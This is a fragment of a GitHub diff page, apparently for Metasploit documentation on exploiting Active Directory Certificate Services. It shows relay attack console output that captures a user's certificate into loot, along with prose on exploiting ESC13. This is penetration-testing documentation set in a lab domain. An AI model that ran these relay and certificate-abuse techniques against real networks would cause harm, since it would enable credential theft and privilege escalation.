You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
[+] Certificate generated using template User and MSFLAB\smcintyre
914
+
[*] Attempting to download the certificate from /certsrv/certnew.cer?ReqID=184&
915
+
[+] Certificate for MSFLAB\smcintyre using template User saved to /home/smcintyre/.msf4/loot/20241025142116_default_172.30.239.85_windows.ad.cs_995918.pfx
916
+
[*] Relay tasks complete; waiting for next login attempt.
917
+
[*] Received request for MSFLAB\smcintyre
918
+
[*] Identity: MSFLAB\smcintyre - All targets relayed to
919
+
[*] New request from 192.168.159.129
920
+
[*] Received request for MSFLAB\smcintyre
921
+
[*] Identity: MSFLAB\smcintyre - All targets relayed to
922
+
```
923
+
869
924
# Exploiting ESC13
870
925
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
871
926
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
872
927
administrative privileges, rather the privileges that are gained are those of the group which is linked to by OID in the
873
928
certificate template's issuance policy. The `auxiliary/gather/ldap_esc_vulnerable_cert_finder` module is capable of
874
929
identifying certificates that meet the necessary criteria. When one is found, the module will include the group whose
875
930
permissions will be included in the resulting Kerberos ticket in the notes section. In the following example, the
876
-
ESC13-Test template is vulenerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
931
+
ESC13-Test template is vulnerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
877
932
878
933
```
879
934
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
[+] Certificate generated using template User and MSFLAB\smcintyre
55
+
[*] Attempting to download the certificate from /certsrv/certnew.cer?ReqID=184&
56
+
[+] Certificate for MSFLAB\smcintyre using template User saved to /home/smcintyre/.msf4/loot/20241025142116_default_192.168.159.10_windows.ad.cs_995918.pfx
57
+
[*] Relay tasks complete; waiting for next login attempt.
58
+
[*] Received request for MSFLAB\smcintyre
59
+
[*] Identity: MSFLAB\smcintyre - All targets relayed to
60
+
[*] New request from 192.168.159.129
61
+
[*] Received request for MSFLAB\smcintyre
62
+
[*] Identity: MSFLAB\smcintyre - All targets relayed to
0 commit comments